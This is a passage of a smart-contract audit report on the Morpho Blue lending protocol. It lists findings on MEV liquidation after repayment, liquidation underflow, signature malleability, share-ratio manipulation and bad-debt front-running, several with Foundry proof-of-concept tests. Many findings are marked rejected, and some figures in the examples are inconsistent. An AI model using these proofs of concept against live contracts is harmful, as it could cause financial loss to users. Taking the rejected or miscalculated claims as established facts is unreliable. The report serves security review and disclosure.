+- Impact
+- User's repayments tx can be ordered by MEV bots when the account ends up being unhealthy after the repayment, in this way, liquidators can take advantage of the just recently repaid amount and proceed to liquidate the account by repaying less than they would repaid if the user would've not repaid before.
+
+As an example, Let's use the below values to simulate how not checking if the account is healthy after a user's repayment could cause liquidators to take advantage of it and liquidate the user's collateral by repaying less than what they should repay.
+- Market has a 90% LLTV, The User has borrowed 8500 usd and his collateral is worth 9500 usd. At this moment, the Liquidation Threshold is when the borrows exceed 8550 usd.
+ - The markets are experiencing some turbulence and the user proceeds to repay 500 usd of his debt to reduce the total debt so his liquidation threshold is reduced.
+ - From the moment the user sends the tx. When it is finally picked it up by the validators and added to the chain, the collateral's asset price goes down and depreciates a 10%, a mev bot monitoring the mempool recognizes a mev opportunity by sending a liquidation right after the user's repayment is executed. The reason is that while the user's repayment tx was sitting in the mempool, the mev bot realized that the user's repayment would decrease the total required amount to be repaid to seize all his collateral. After all, the account would end up being unhealthy and set to be liquidated.
+ - After the user's repayment tx is executed, the user's borrows would be 800usd, and his collateral drops 10%, so, now it is worth 8550 usd, which means, the liquidation threshold was turned down to 7696 usd, this means, that even after the user's repayment, the account is left unhealthy, so, the mev bot proceeds to liquidate the user's account, seizes all his collateral and ends up saving the 500 usd the user just repaid. As a result of this, the user, apart from losing his collateral, would end up also losing the 500 usd that he just repaid.
+
+
+- Proof of Concept
+- Users call the [`Morpho:repay()` function](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L266-L295) when they want to repay a portion of their debt, the problem is that this function doesn't check the healthiness of the account after the repayment has been made.
+
+```solidity
+function repay(
+ ..
+) external returns (uint256, uint256) {
+ ..
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ else assets = shares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+
+ //@audit-info => Reduces the onBehalf's debt and the totalBorrow accounting
+ position[id][onBehalf].borrowShares -= shares.toUint128();
+ market[id].totalBorrowShares -= shares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, assets).toUint128();
+
+ // `assets` may be greater than `totalBorrowAssets` by 1.
+ emit EventsLib.Repay(id, msg.sender, onBehalf, assets, shares);
+
+ if (data.length > 0) IMorphoRepayCallback(msg.sender).onMorphoRepay(assets, data);
+
+ //@audit-info => Transfers the repaid amount of assets
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+
+ //@audit-issue => It does not checks if the account is healthy after the repayment
+
+ return (assets, shares);
+}
+```
+
+- The existing implementation of the repay function opens up the doors to potential attacks such as the one described in the Impact section, the result is that users would end up losing more than what they should've lost
+-
+- If the account is left unhealthy after the repayment is completed, the account is set to be liquidated, so, the repayment would gift those tokens to the liquidator because the liquidator would need to repay fewer tokens to seize all the user's collateral
+
+- Tools Used
+Manual Audit
+
+- Recommended Mitigation Steps
+- The most straightforward mitigation could be to check if after the repayment the account is left unhealthy, and if so, proceed to revert the tx, either way, the repayment amount would not prevent a liquidation, in this way, the user won't lose the last repaid amount.
+
+- A more elaborate mitigation could be to check if the account is unhealthy after the repayment, and if so, give some time to the user to repay more or deposit more collateral, after this grace period, if the account is still unhealthy, allow the liquidators to proceed with the liquidation.
+
+
+
+
+### Assets->Shares Calculation restricts the full liquidation of a defaulter unless the collateral price reduces.
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Brief/Explanation
+Once interest accrues on a loan taken up to LLTV, the Assets to Shares calculation in `Morpho::liquidate()` makes it impossible to completely liquidate a defaulter unless the price of the collateral token decreases.
+
+- Impact
+When a user borrows up to LLTV, he immediately becomes eligible for liquidation in the next block. The only problem with this is that a liquidator cannot completely liquidate the account to restore balance because, since interest accrued, the asset -> shares conversion causes an underflow error. Drawing from the POC below, LIQUIDATOR can only liquidate 851 collateral tokens of the defaulter. The only exception to this bug is when a significant price reduction happens to the collateral token, then complete liquidation becomes possible. In the POC below, the price has to reduce by 20% for this to happen.
+
+The defaulter can easily clear the remaining debt to balance his account, or the liquidator could wait for the price to reduce and liquidate the rest of the account. However, while the price hasnt reduced and the defaulter hasn't cleared the remaining debt, the shares and assets calculations may be inflated by this.
+
+- Proof of Concept
+
+1. BORROWER_1 supplies 1000 collateral tokens
+2. Assume a LLTV of 80%, BORROWER_1 borrows 800 loan tokens at 1:1
+3. NEXT BLOCK: BORROWER_2 supplies 1000 collateral tokens. Interest is also accrued for BORROWER_1 in this block.
+4. BORROWER_2 borrows any amount of loan tokens; in this instance, 63 loan tokens
+5. LIQUIDATOR tries to completely liquidate BORROWER_1 because he is above the LLTV; he will encounter an arithmetic underflow/overflow error
+6. If the price of the collateral token decreases before liquidation takes place, then LIQUIDATOR will be able to liquidate BORROWER_1 completely
+
+```solidity
+ function test__borrowImmediateRepay() public {
+ vm.startPrank(BORROWER_1);
+ collateralToken.approve(address(morpho), collateralToken.balanceOf(BORROWER_1));
+ morpho.supplyCollateral(marketParams, collateralToken.balanceOf(BORROWER_1), BORROWER_1, bytes(""));
+ //since lltv was set to 80%, we can only borrow up to 80% of the collateral deposited
+ (, uint256 shares) = morpho.borrow(marketParams, 800 ether, 0, BORROWER_1, BORROWER_1);
+
+ vm.warp(block.timestamp + 1);
+ changePrank(BORROWER_2);
+ collateralToken.approve(address(morpho), collateralToken.balanceOf(BORROWER_2));
+ morpho.supplyCollateral(marketParams, collateralToken.balanceOf(BORROWER_2), BORROWER_2, bytes(""));
+ morpho.borrow(marketParams, 63 ether, 0, BORROWER_2, BORROWER_2);
+
+ //remove the // in the LOC below to see the effect of a reduction in collateral price
+ //oracle.setPrice(8e35);//signifies a 20% reduction in price of collateralToken
+
+ //begin liquidation process
+ changePrank(LIQUIDATOR);
+ loanToken.approve(address(morpho), loanToken.balanceOf(LIQUIDATOR));
+ (uint seizedAssets, uint repaidShares) = morpho.liquidate(marketParams, BORROWER_1, 1_000 ether, 0, bytes(""));
+
+ console.log("%s loanTokens was paid to get %s collateral tokens", (1_000_000 ether - loanToken.balanceOf(LIQUIDATOR)) / 1 ether, seizedAssets/1 ether);
+ }
+```
+
+- Recommendation
+Review the calculations in `Morpho::liquidate()`
+
+
+
+### No reentrancy guard for the functions in Morpho. _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+The Morpho functions lack reentrancy guard and therefore are vulnerable to reentrancy attack.
+
+One scenario:
+
+1) Frank calls flashloan to borrow large amount of collateral token, say 1M ether.
+2) Frank sells the large amount of collateral token in uniswap for large amount of loantokens; As a result, the price of collateral token is dropped dramatically;
+3) Due to the price drop of collateral token, now many accounts are under the water and can be liquidated.
+4) Frank liquidated many under-water accounts, and obtain lots of collateral token with payment of loanToken;
+5) Frank swaps the loantoken back to collateral tokens and return the same amount that was borrowed back to the Morpho contract as the last step of flashloan.
+6) Frank kept the remaining collateral token as profit (profit earned from liquidation).
+
+
+
+**Recommendation**:
+
+Add reentrancy guard to those functions of Morpho that no reentrancy should be allowed.
+
+
+
+### setAuthorizationWithSig is vulnerable to signature malleability attack. _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+setAuthorizationWithSig uses ecrecover and thus is vulnerable to signature malleability attack.
+
+The main problem is that ecrecover allows signature malleability: "Ethereum ECDSA(Elliptic Curve Digital Signature Algorithm) signatures allow attackers to change the signature slightly without invalidating the signature itself."
+
+[https://medium.com/cryptronics/signature-replay-vulnerabilities-in-smart-contracts-3b6f7596df57](https://medium.com/cryptronics/signature-replay-vulnerabilities-in-smart-contracts-3b6f7596df57)
+
+[https://medium.com/draftkings-engineering/signature-malleability-7a804429b14a](https://medium.com/draftkings-engineering/signature-malleability-7a804429b14a)
+
+The following POC shows one can manipulate the original signature to a new one and it is still valid. As a result, any external integration that depends on the uniqueness of signature will likely be vulnerable to signature malleability attack. For example, if the signer uses the signature to check whether the signature has been used or not, he will conclude that his signature is not used although a variant of it has been used.
+
+```javascript
+ function manipulateSignature(uint8 v, bytes32 r, bytes32 s) public pure returns(uint8 nv, bytes32 nr, bytes32 ns) {
+ if(0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 > uint256(s)) return (v, r, s);
+
+ nv = v % 2 == 0 ? v - 1 : v + 1;
+ nr = r;
+
+ ns = bytes32(0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 - uint256(s));
+ }
+
+ function testAuthorization(Authorization memory authorization, uint256 privateKey) public {
+ authorization.deadline = bound(authorization.deadline, block.timestamp, type(uint256).max);
+
+ // Private key must be less than the secp256k1 curve order.
+ privateKey = bound(privateKey, 1, type(uint32).max);
+ authorization.nonce = 0;
+ authorization.authorizer = vm.addr(privateKey);
+
+ Signature memory sig;
+ bytes32 digest = SigUtils.getTypedDataHash(morpho.DOMAIN_SEPARATOR(), authorization);
+ (sig.v, sig.r, sig.s) = vm.sign(privateKey, digest);
+ (sig.v, sig.r, sig.s) = manipulateSignature(sig.v, sig.r, sig.s); // signature malleablity attack here
+
+ morpho.setAuthorizationWithSig(authorization, sig);
+ }
+```
+
+
+
+
+**Recommendation**:
+
+use the latest version of the OpenZeppelin ECDSA library instead of the standard ecrecover.
+
+
+
+### The supply, borrow, and repay functions lack slippage control.
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+The supply, withdraw, borrow, and repay functions lack slippage control.
+
+Note that the exchange between ``shares`` and ``assets`` is dynamic and might fluctuate as a result of other users' concurrent interaction with the contract as well as the execution of accrueInterests and liquidate. Note that liquidation might apply bad debt deduction from totalSupplyAssets and totalBorrowAssets.
+
+For example, a user specifies the ``shares`` value for the supply() function but ends up
+paying more ``loanTokens`` than expected. For example,
+as a result of the execution of accrueInterest() , each share is more expensive than before.
+In the same way, the user might specify the ``assets`` value for the supply function but ends up
+getting less shares than expected for the same reason.
+
+In the worst case, a user might specify some value for ``shares`` but then get zero assets when calling the ``borrow`` function. As a result, the user will owe something while getting nothing.
+
+The following POC shows that ``borrower1`` borrows 999999 ``shares`` but get ``assets = 0``. As a result, although the borrower owes the system 999999 shares, he loans no tokens at all. A slippage control will prevent this.
+
+
+**Recommendation**:
+Introduce a slippage control to the functions or add the comment to explain that such slippage control needs to be done by the caller.
+
+
+
+
+### `feeShares` should be rounded up to capture the whole fee amount. _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L486-L486](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L486-L486)
+
+**Description**
+
+`feeShares` should be rounded up to capture the whole fee amount.
+
+Because the `feeShares` are rounded down, less fees will be accumulated making the protocol to lose fees over time.
+
+**Recommendation**
+Consider rounding up the fees.
+
+
+
+### Full Liquidations Can be Made to Revert _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Full Liquidations Can be Made to Revert by Repaying just 1 wei of the loan
+
+To liquidate an entire position, a liquidator must enter the exact shares or siezed assets they wish to liquidate as the input parameter. There is no option to "fully liquidate" a position no matter the shares/assets avaliable no matter the position size. In some other protocols, entering 'type(uint).max' will result in a full liquidation, but this is not the case in Morpho - such an input would make the function revert.
+
+This is an issue is the value of shares and assets underlying the loan `liquidate` is called to the time the transaction is processed can decrease. If the full share or asset amount is entered as an input, the liquidation transaction would revert.
+
+There are 2 ways this could happen:
+- The borrower frontruns the transaction, paying back a small amount of their loan
+- Another liquidator front-runs the transaction to perform a very small partial liquidation of the loan
+
+The borrower benefits from avoiding liquidations, while liquidators may want to sabotage other liquidators so they can get a larger share of the liquidation transactions.
+
+This can be avoided by a liquidator leaving a small margin of safety, inputting a smaller amount of shares to repay or assets to sieze. However, if liquidators this damages the Morpho loan system:
+
+- If a liquidator does this to a bad debt position, this could leave a small amount of assets and backed shares with a large amount of bad debt. Since the bad debt socialisation kicks in only activates when the collateral == 0, then the bad debt is not triggered. There is also no incentive to liquidate this new position as the siezable assets will be close to zero, thus the liquidation incentive will be lower than gas. Keep in mind the liquidator was not being malicious here, even though his action damages the morpho system. Leaving a dust amount is the only way to ensure they can't be forced to revert by a small frontrun.
+
+- Even if the position is not a bad debt postion, when a dust amount is left by the liquidators partial liquidation, this position will eventually fall into bad debt as there is no incentive to liquidate it.
+
+
+**Recommendation**:
+
+If input for siezedAssets or Shares is `type(uint256).max`, perform a complete liquidation of the borrower. This can be achieved with a few lines of code and will avoid the issues mentioned in this writeup.
+
+
+
+### Positions Can be Opened Which Can be Liquidated on the Next Transaction _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Any position can be opened as long as it passes the `_isHealthy` check. The same check is used for both liquidation and creating/modifying positions. Therefore, there is no gap between the initial margin of opening a position and the liquidation margin.
+
+A position can be opened which is immediately liquidatable. This is likely to happen to users often open positions which reach the maximum leverage, especially when those positions are not extremely leveraged, such as in Morpho which allows a maximum 90% LTV, and many markets will be lower.
+
+As the general expectation is for a seperate initial margin and liquidation margin as can be seen in most lending perpetual markets, innocent users could easily have positions unfairly liquidated in a block immediately after opening a maximum leverage position by the slightest interest accrual or oracle update.
+
+**Recommendation**:
+
+Implement a minimum difference between the initial margin of a position and the liquidation margin, which is what most leverage platforms do. This could be a multiplier of LLTV, such as 5% of LLTV. So a 80% LLTV can have an initial max LLTV of 0.8*0.95 = 0.76 or 76%. This ensures that users cannot open positions which are immediately on the cusp of liquidation.
+
+
+
+### Lack of two-step process for contract ownership change _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+The owner of a contract in the Morpho ecosystem can be changed through a
+call to the setOwner function, which immediately sets the contract’s new owner. Making such a critical change in a single step is error-prone and can lead to irrevocable mistake
+
+**Recommendation**:
+It is a best practice to use two-step ownership transfer pattern, meaning ownership transfer gets to a "pending" state and the new owner should claim his new rights, otherwise the old owner still has control of the contract.
+
+
+
+### 1/LIF is not taken into account during liquidation
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L384-L384](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L384-L384)
+
+- Description
+According to the **Bad debt** section in the whitepaper, liquidators should not be able to seize the whole collateral of a given position until **1/LIF < LTV**. However, in *Morpho.liquidate()* this is never enforced, letting borrowers withdraw all the collateral no matter what the ratio from above is.
+
+- Recommendation
+Add the intended feature from the whitepaper to *Morpho.liquidate*
+
+
+
+### Unhandled Denial of Service when access to Chainlik oracle is blocked _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+In certain exceptional scenarios, oracles may become temporarily unavailable. As a result, invoking the `latestRoundData` function could potentially revert without a proper error handling.
+
+Morpho documentation gives special focus on oracle's price feed independency, (https://github.com/morpho-org/morpho-blue/blob/main/morpho-blue-whitepaper.pdf "Oracle Agnostic Pricing"), and while they are completely aware about stale prices according to their documentation:
+
+ /// - Staleness is not checked because it's assumed that the Chainlink feed keeps its promises on this.
+
+ /// - The price is not checked to be in the min/max bounds because it's assumed that the Chainlink feed keeps its promises on this.
+
+the concern stems from the potential for Chainlink multisignature entities to deliberately block the access to the price feed, which is not managed anywhere in Morpho documentation, video and of course code. In such a situation, using the latestRoundData function could lead to an unexpected revert.
+
+In certain extraordinary situations, Chainlink has already proactively suspended particular oracles. To illustrate, in the case of the UST collapse incident, Chainlink chose to temporarily halt the UST/ETH price oracle to prevent the propagation of incorrect data to various protocols.
+
+Additionally, this danger has been highlighted and very well documented by OpenZeppelin in https://blog.openzeppelin.com/secure-smart-contract-guidelines-the-dangers-of-price-oracles. For our current scenario:
+
+_"While currently there’s no whitelisting mechanism to allow or disallow contracts from reading prices, powerful multisigs can tighten these access controls. In other words, the multisigs can immediately block access to price feeds at will. Therefore, to prevent denial of service scenarios, it is recommended to query ChainLink price feeds using a defensive approach with Solidity’s try/catch structure. In this way, if the call to the price feed fails, the caller contract is still in control and can handle any errors safely and explicitly"._
+
+Although users can still exit when an oracle is broken by repaying their full debt and also when using shares as input, or when executing a withdraw collateral, it is not called, the oracle is still a fundamental part of the market creation that should be secured. As a result, and taking into consideration the recommendation from OpenZepplin, it is essential to thoroughly tackle this matter within the codebase, as it directly relates to many functionalities of the system which are based on the oracle's output.
+
+Another example to check this vulnerability can be consulted in https://solodit.xyz/issues/m-18-protocols-usability-becomes-very-limited-when-access-to-chainlink-oracle-data-feed-is-blocked-code4rena-inverse-finance-inverse-finance-contest-git
+
+**Recommendation**:
+
+As previously discussed, to mitigate the potential risks related to a denial-of-service situation, it is recommended to implement a try-catch mechanism when querying Chainlink prices in the `getPrice()` function within _ChainlinkDataFeedLib.sol_ (link to code below). By adopting this approach, in case there's a failure in invoking the price feed, the caller contract retains control and can effectively handle any errors securely and explicitly.
+
+https://github.com/morpho-org/morpho-blue-oracles/blob/main/src/libraries/ChainlinkDataFeedLib.sol#L23
+
+ `(, int256 answer,,,) = feed.latestRoundData();`
+
+Wrap the invocation of the `latestRoundData()` function within a try-catch structure rather than directly calling it. In situations where the function call triggers a revert, the catch block can be utilized to trigger an alternative oracle or handle the error in a manner that aligns with the system's requirements.
+
+**Impact:**
+
+In the event of a malfunction or cessation of operation of a configured Oracle feed, attempting to check for the `latestRoundData` will result in a revert that must be managed manually by the system.
+
+
+
+### Critical missing functionality to disable IRMs and LTVs _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- GitHub Links
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L103-L110
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L112-L120
+
+- Summary
+
+Morpho Blue markets allow to enable IRM contracts as well as different LTVs so that anyone can create markets with the given IRM and LTV, but it is not possible for the protocol to disable it again. Therefore, setting a LTV by mistake, or not being able to disable a IRM contract which turned out to be vulnerable, could have major consequences.
+
+- Vulnerability Details
+
+We can see in the following code how the owner of the Morpho Blue market is able to enable LTVs and IRMs, but there is no way to disable them again:
+
+```solidity
+
+function enableIrm(address irm) external onlyOwner {
+ require(!isIrmEnabled[irm], ErrorsLib.ALREADY_SET);
+
+ isIrmEnabled[irm] = true;
+
+ emit EventsLib.EnableIrm(irm);
+
+}
+
+function enableLltv(uint256 lltv) external onlyOwner {
+ require(!isLltvEnabled[lltv], ErrorsLib.ALREADY_SET);
+ require(lltv < WAD, ErrorsLib.MAX_LLTV_EXCEEDED);
+
+ isLltvEnabled[lltv] = true;
+
+ emit EventsLib.EnableLltv(lltv);
+
+}
+
+```
+
+This missing feature to disable them could turn out to be a major problem in the future. As IRMs are used to calculate the interest which the borrower must pay to the lender and the protocol, a broken IRM could lead to loss of funds for them, and therefore it should not be possible to deploy new markets with the broken IRM.
+
+- Impact
+
+Potential loss of funds that could be protected if the system would be able to prevent the creation of new markets with the broken IRM, or the LTV that should not be used anymore.
+
+- Tools Used
+
+Manual Review
+
+- Recommendations
+
+Allow the owner of the Morpho Blue market to disable IRMs and LTVs.
+
+
+
+
+### Transfering funds to the previous fee recipient when updating it can lead to loss of funds _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- GitHub Links
+
+https://github.com/morpho-org/metamorpho/blob/f4e2574029743088a8800149593fa997ab66f0f8/src/MetaMorpho.sol#L247-L258
+
+- Summary
+
+When the owner of a Metamorpho vault updates the fee recipient address, all accrued interest is transfered to the previous fee recipient. If the reason for changing the fee recipient is the loss of the private key behind it, all the funds are lost.
+
+- Vulnerability Details
+
+Here is the code that updates the fee recipient:
+
+```solidity
+
+function setFeeRecipient(address newFeeRecipient) external onlyOwner {
+ if (newFeeRecipient == feeRecipient) revert ErrorsLib.AlreadySet();
+ if (newFeeRecipient == address(0) && fee != 0) revert ErrorsLib.ZeroFeeRecipient();
+
+ // Accrue interest to the previous fee recipient set before changing it.
+ _updateLastTotalAssets(_accrueFee());
+
+ feeRecipient = newFeeRecipient;
+
+ emit EventsLib.SetFeeRecipient(newFeeRecipient);
+}
+
+```
+
+As we can see it first accrues the interest to the previous fee recipient and then updates the fee recipient address. If the reason for changing the fee recipient is the loss of the private key behind it, all the funds are lost.
+
+- Impact
+
+Loss of funds for the owner of the vault.
+
+- Tools Used
+
+Manual Review
+
+- Recommendations
+
+Allow the owner to decide if the accrued interest should be transferred to the previous fee recipient or to the new one.
+
+
+
+
+### Changing the fee can dramatically change the APY of it, and lower it's return massively _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L123-L123](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L123-L123)
+
+- Summary
+Changing the fee could alter the generated amount and increase lenders profits not only by the saved amount, but 2x the saved amount of the fee.
+
+- Proof of concept
+[_accrueInterest](https://github.com/morpho-org/morpho-blue/blob/main/src/Morpho.sol#L471-L495) accrues interest in the form of APY on all of the assets in the given market (fee+ assets deposit by the lenders). This means that the unclaimed fees also count towards APY generation. Because of this a change in the fee can dramatically reduce it's own unique APY and reduce it's generating potential towards the protocol.
+
+This is best explained with an example:
+Lets say a market where the fee was never claimed, so with time it accumulated to a high value.
+
+| Values | |
+|---------------------|-----------|
+| `totalSupplyAssets` | 10000 USDC |
+| Assets | 8000 USDC |
+| Fee | 2000 USDC |
+| Fee value | 10% |
+
+With the current example if the market incurs a really good month- 10% increase in value, it's `totalSupplyAssets` will be 11000 USDC, of which 8900 are the assets and 2100 is the fee (10% out of 1000 USDC, added [when accrue is called](https://github.com/morpho-org/morpho-blue/blob/main/src/Morpho.sol#L486-L488)).
+
+If after this increase the fee is lowered to 5% it's proportionate generated APY towards the protocol will be **lowered by 4x**. Lets see why. Bellow is the updated graph with the new values.
+
+| Values | |
+|---------------------|-----------|
+| `totalSupplyAssets` | 11000 USDC |
+| Assets | 8900 USDC |
+| Fee | 2100 USDC |
+| Fee value | 5% |
+
+Again this market experienced a good month - 10% in increase (these 10% increments are for the math to be simple and easy to understand). With a total of new revenue 110 USDC. Which will be split 104.5 towards assets and 55 towards fee. However here the issue occurs, even though the unclaimed fee in the pool accounted for 210 USDC increase (10% out of 2100 USDC) it only increased by 55 USDC, which is ~4 lower than the profit it generated. This means that the rest 145 USDC goes in favor of the lenders .
+
+- Solution
+From my point of view it's best to claim the fee when changing it, however I will leave it to the developers.
+
+
+
+
+### Malicious users can manipuate the share/asset ratio easily when morpho.totalSupplyAssets() is small. _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+users can manipuate the shares/asset ratio easily when morpho.totalSupplyAssets is small. The protocol starts the ratio from 1e6/1 based on virtual shares/assets, hoping future ratios will gradually grow from there.
+
+However, we show one can easily manipulate the ratio as the first supplier (or when when morpho.totalSupplyAssets is small). The following POC shows this:
+
+1) Initially ratio = 1e6/1 due to the set up of virtual shares and assets;
+
+2) User1 calls morpho.supply(marketParams, 0, 1, user1, d) 200 times, which will supply 1 share and also 1 asset to the contract (due to round up division) for each call. User1 calls morpho.withdraw(marketParams, 0, 1, user1, user1) 200 times to withdraw 1 share but zero asset at each call due to division rounding down. Morpho will have 200 assets but zero shares at a result. The ratio is 4975/1.
+
+3) User1 calls morpho.supply(marketParams, 0, 1, user1, d) again for 200 times, which will supply 1 share and also 1 asset to the contract (due to round up division) for each call. User1 calls morpho.withdraw(marketParams, 0, 1, user1, user1) 200 times to withdraw 1 share but zero asset at each call due to division rounding down. Morpho will have 400 assets but zero shares at a result. The ratio is 2493/1.
+
+4) User1 calls morpho.supply(marketParams, 0, 1, user1, d) again for 200,000 times, which will supply 1 share and also 1 asset to the contract (due to round up division) for each call. User1 calls morpho.withdraw(marketParams, 0, 1, user1, user1) 200,000 times to withdraw 1 share but zero asset at each call due to division rounding down. Morpho will have 200,400 assets but zero shares at a result. The ratio is 4/1.
+
+Such easy manipulation of ratio can be exploited to front-run early depositors to manipulate how many shares they will receive since there is no slippage control for supply() and withdraw(). A user who expects a ratio of 1e6/1 might end up receive much less shares due to the new ratio of 4/1 instead of 1e6/1.
+
+I have not be able to demonstrate how flaw can be used to steal funds from a user, but I think allowing arbitrary manipulation of such ratio is not good property of a protocol. I ranked this vulnerability as Medium due to such concern.
+
+Running the POC shows the following:
+
+```javascript
+
+ Ratio: 1000000
+ Ratio: 4975
+ Ratio: 2493
+ Ratio: 4
+ total supply shares: 0
+ total supply assets: 200400
+```
+
+```javascript
+
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity ^0.8.0;
+
+import "../../lib/forge-std/src/Test.sol";
+import "../../lib/forge-std/src/console.sol";
+
+import {IMorpho} from "../../src/interfaces/IMorpho.sol";
+import "../../src/interfaces/IMorphoCallbacks.sol";
+import {IrmMock} from "../../src/mocks/IrmMock.sol";
+import {ERC20Mock} from "../../src/mocks/ERC20Mock.sol";
+import {OracleMock} from "../../src/mocks/OracleMock.sol";
+
+import "../../src/Morpho.sol";
+import {Math} from "./helpers/Math.sol";
+import {SigUtils} from "./helpers/SigUtils.sol";
+import {ArrayLib} from "./helpers/ArrayLib.sol";
+import {MorphoLib} from "../../src/libraries/periphery/MorphoLib.sol";
+import {MorphoBalancesLib} from "../../src/libraries/periphery/MorphoBalancesLib.sol";
+import "./BaseTest.sol";
+// import {SafeTransferLib} from ".../../src/libraries/SafeTransferLib.sol";
+
+
+
+contract MyTest is BaseTest {
+ address user1 = makeAddr("user1");
+ address user2 = makeAddr("user2");
+ address user1proxy = makeAddr("user1Proxy");
+ address borrower1 = makeAddr("borrower1");
+
+
+
+ using MarketParamsLib for MarketParams;
+ using MorphoLib for IMorpho;
+ using SafeTransferLib for IERC20;
+
+
+ function setUp() public override {
+ super.setUp();
+
+ marketParams = MarketParams(address(loanToken), address(collateralToken), address(oracle), address(irm), DEFAULT_TEST_LLTV);
+ id = marketParams.id();
+
+ }
+
+ function testMinipulateRatio() public{
+ testCreateMarket();
+
+ // first ratio
+ console2.log("Ratio: %d", (morpho.totalSupplyShares(id)+1e6)/(1+morpho.totalSupplyAssets(id)));
+
+ vm.startPrank(user1);
+ loanToken.setBalance(user1, 1000000);
+ loanToken.approve(address(morpho), 1000000);
+
+ bytes memory d;
+ for(uint256 i; i < 200; i++){
+ morpho.supply(marketParams, 0, 1, user1, d); // supply 1 share
+ morpho.withdraw(marketParams, 0, 1, user1, user1); // withdraw 1 share
+ }
+
+ // second ratio
+ console2.log("Ratio: %d", (morpho.totalSupplyShares(id)+1e6)/(1+morpho.totalSupplyAssets(id)));
+
+ for(int256 i; i < 200; i++){
+ morpho.supply(marketParams, 0, 1, user1, d); // supply 1 share
+ morpho.withdraw(marketParams, 0, 1, user1, user1); // withdraw 1 share
+ }
+
+ // third ratio
+ console2.log("Ratio: %d", (morpho.totalSupplyShares(id)+1e6)/(1+morpho.totalSupplyAssets(id)));
+
+ for(int256 i; i < 200000; i++){
+ morpho.supply(marketParams, 0, 1, user1, d); // supply 1 share
+ morpho.withdraw(marketParams, 0, 1, user1, user1); // withdraw 1 share
+ }
+ // fourth ratio
+ console2.log("Ratio: %d", (morpho.totalSupplyShares(id)+1e6)/(1+morpho.totalSupplyAssets(id)));
+
+ vm.stopPrank();
+
+ console2.log("total supply shares: %d", morpho.totalSupplyShares(id));
+ console2.log("total supply assets: %d", morpho.totalSupplyAssets(id));
+ }
+
+ function testCreateMarket() public{
+ vm.startPrank(OWNER);
+ if (!morpho.isLltvEnabled(DEFAULT_TEST_LLTV)) morpho.enableLltv(DEFAULT_TEST_LLTV);
+ if (morpho.lastUpdate(id) == 0) morpho.createMarket(marketParams);
+ vm.stopPrank();
+
+ _forward(1);
+
+ console2.logBytes32(Id.unwrap(id));
+ }
+}
+```
+
+
+**Recommendation**:
+User the default ratio of 1/1 instead of 1e6/1, which is harder to manipulate since it aligns closer to the fact that there is zero asset and zero shares in the beginning. I suggest to use 1e6 virtual shares and 1e6 assets as the initial setting, which can prevent both first depositor attack and first ratio manipulator.
+
+
+
+### Front-running griefing attack to liquidate() to avoid bad debt consequence. _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+Morpho.liquidate() allows one to liquidate a borrower's position but at the same time, if position[id][borrower].collateral == 0) then cancel the bad debt by subtracting the bad debt from market[id].totalSupplyAssets.
+
+This is effectively to let all the lenders to pay for the bad bebt proportionally;
+
+However, a lender can launch a front-running grief attack to liquidate() to avoid such bad debt penalty.
+
+1. John will liquidate a borrower Kathy's position and possibly cancel a bad debt of $1M worth of loanTokens. Nobody likes to share this 1M debt!
+
+2. Frank does not want to suffer from this bad debt, so he front-run the liquidate() function by calling supplyCollateral() and sends 1 wei of collateral on the borrower kathy's behalf. As a result, John will successfully liquidate Kathy's position but due to the 1 wei collateral, the bad debt cancellation will not happened. See below:
+
+```javascript
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ // like the opposite of interests
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0; // so the debt is paid by all suppliers not by borrowers?
+ }
+```
+
